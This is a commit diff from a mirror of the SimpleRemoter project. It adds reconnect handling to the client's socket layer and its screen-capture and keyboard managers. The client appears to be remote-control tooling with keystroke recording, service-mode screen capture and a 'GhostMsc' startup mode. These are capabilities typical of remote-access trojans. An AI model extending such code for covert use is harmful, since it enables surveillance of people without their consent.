mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-21 23:13:08 +08:00
Feature: Add reconnect logic for remote desktop control
This commit is contained in:
@@ -83,11 +83,13 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
|
||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||
}
|
||||
|
||||
|
||||
@@ -115,6 +117,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_bConnected = FALSE;
|
||||
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
m_ReconnectFunc = NULL;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
m_Dctx = ZSTD_createDCtx();
|
||||
@@ -402,7 +405,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in
|
||||
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
|
||||
Disconnect(); //接收错误处理
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
if (m_exit_while_disconnect)
|
||||
if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
|
||||
return false;
|
||||
} else {
|
||||
szBuffer[iReceivedLength] = 0;
|
||||
@@ -650,7 +653,7 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -669,6 +672,6 @@ VOID IOCPClient::RunEventLoop(TrailCheck checker)
|
||||
#endif
|
||||
while (m_bIsRunning && checker())
|
||||
Sleep(200);
|
||||
setManagerCallBack(NULL, NULL);
|
||||
setManagerCallBack(NULL, NULL, NULL);
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -28,6 +28,7 @@ enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
typedef int (*OnDisconnectCB)(void* userData);
|
||||
|
||||
class ProtocolEncoder
|
||||
{
|
||||
@@ -108,6 +109,9 @@ public:
|
||||
}
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
// Tip: 在派生类实现该函数以便支持断线重连
|
||||
virtual BOOL OnReconnect() { return FALSE; }
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
@@ -129,6 +133,13 @@ public:
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
static int ReconnectProcess(void* user) {
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_Manager->OnReconnect();
|
||||
}
|
||||
};
|
||||
|
||||
typedef BOOL(*TrailCheck)(void);
|
||||
@@ -185,13 +196,11 @@ public:
|
||||
{
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
void SetExit()
|
||||
{
|
||||
VOID StopRunning() {
|
||||
m_ReconnectFunc = NULL;
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
|
||||
VOID RunEventLoop(TrailCheck checker);
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const
|
||||
@@ -243,6 +252,7 @@ protected:
|
||||
const State& g_bExit; // 全局状态量
|
||||
void* m_Manager; // 用户数据
|
||||
DataProcessCB m_DataProcess; // 处理用户数据
|
||||
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
|
||||
ProtocolEncoder* m_Encoder; // 加密
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
|
||||
@@ -228,7 +228,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
|
||||
DWORD WINAPI SendKeyboardRecord(LPVOID lParam)
|
||||
{
|
||||
CManager* pMgr = (CManager*)lParam;
|
||||
CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam;
|
||||
if (pMgr) {
|
||||
pMgr->Reconnect();
|
||||
pMgr->Notify();
|
||||
@@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case CMD_MASTERSETTING:
|
||||
if (ulLength > MasterSettingsOldSize) {
|
||||
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
|
||||
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||
|
||||
@@ -237,6 +237,10 @@ public:
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
|
||||
@@ -229,7 +229,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
|
||||
}
|
||||
|
||||
@@ -54,10 +54,6 @@ public:
|
||||
{
|
||||
return m_ClientObject->IsConnected();
|
||||
}
|
||||
BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
virtual void Notify() { }
|
||||
virtual void UpdateWallet(const std::string &wallet) { }
|
||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||
|
||||
@@ -297,6 +297,14 @@ void CScreenManager::InitScreenSpy()
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CScreenManager::OnReconnect()
|
||||
{
|
||||
m_SendFirst = FALSE;
|
||||
BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
|
||||
return r;
|
||||
}
|
||||
|
||||
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
CScreenManager *This = (CScreenManager *)lParam;
|
||||
@@ -309,7 +317,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
clock_t last = clock();
|
||||
This->SendFirstScreen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
@@ -324,6 +331,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
clock_t last_check = clock();
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
if (!This->IsConnected()) {
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
if (!This->m_SendFirst && This->IsConnected()) {
|
||||
This->m_SendFirst = TRUE;
|
||||
This->SendBitMapInfo();
|
||||
Sleep(50);
|
||||
This->SendFirstScreen();
|
||||
}
|
||||
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
||||
if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) {
|
||||
auto now = clock();
|
||||
@@ -384,7 +401,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
VOID CScreenManager::SendBitMapInfo()
|
||||
{
|
||||
//这里得到bmp结构的大小
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t);
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t);
|
||||
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
|
||||
ulLength, MEM_COMMIT, PAGE_READWRITE);
|
||||
if (szBuffer == NULL)
|
||||
@@ -393,6 +410,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
//这里将bmp位图结构发送出去
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
|
||||
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
|
||||
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
|
||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||
@@ -420,7 +438,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
|
||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
|
||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess);
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
|
||||
// 发送目录并准备接收文件
|
||||
char cmd[300] = { COMMAND_GET_FILE };
|
||||
memcpy(cmd + 1, folder.c_str(), folder.length());
|
||||
@@ -461,6 +479,12 @@ void FinishSend(void* user)
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_BYE: {
|
||||
Mprintf("[CScreenManager] Received BYE\n");
|
||||
m_bIsWorking = FALSE;
|
||||
m_ClientObject->StopRunning();
|
||||
break;
|
||||
}
|
||||
case COMMAND_SWITCH_SCREEN: {
|
||||
SwitchScreen();
|
||||
break;
|
||||
@@ -471,6 +495,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
case COMMAND_NEXT: {
|
||||
m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -61,7 +61,9 @@ public:
|
||||
return m_conn ? m_conn->iStartup == Startup_GhostMsc : false;
|
||||
}
|
||||
bool SwitchScreen();
|
||||
|
||||
virtual BOOL OnReconnect();
|
||||
uint64_t m_DlgID = 0;
|
||||
BOOL m_SendFirst = FALSE;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL m_virtual;
|
||||
POINT m_point;
|
||||
|
||||
Reference in New Issue
Block a user